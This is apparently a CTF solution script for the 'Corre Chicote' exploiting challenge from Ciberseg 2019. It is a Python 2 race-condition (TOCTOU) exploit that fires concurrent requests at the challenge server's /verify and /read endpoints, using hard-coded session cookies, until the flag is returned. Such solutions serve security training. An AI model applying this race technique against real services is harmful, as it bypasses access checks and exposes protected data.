Corre Chicote - Exploiting Challenge | Ciberseg 2019

toctou.py

#!/usr/bin/python

import threading
import os
import requests

url = 'http://ctf.alphasec.xyz:5000/'
headers = {
            'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0',
            'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Language' : 'en-US,en;q=0.5',
            'Accept-Encoding' : 'gzip, deflate',
            'Connection' : 'keep-alive',
            'Upgrade-Insecure-Requests' : '1'
            }

cookies = {
            'id' : '4508fd61-9474-44a8-8b4b-592e6e31f00f',
            'session' : 'eyJpdGVyYSI6NH0.XENqsQ.sdNE3VGBZPKdtg9SYNC-orUzrsg'
            }

def TOC():
   countTOC = 0
   while countTOC < 10:
      rtoc = requests.get(url + 'verify', headers = headers, cookies = cookies)

      countTOC = countTOC + 1

def TOU():
   countTOU = 0
   while countTOU < 10:
      rtou = requests.get(url + 'read', headers = headers, cookies = cookies)
      if 'flag' in rtou.content:
          print rtou.content
          exit()

      countTOU = countTOU + 1

try:
   toc_thread = threading.Thread(target = TOC)
   tou_thread = threading.Thread(target = TOU)
   toc_thread.start()
   tou_thread.start()

except:
   pass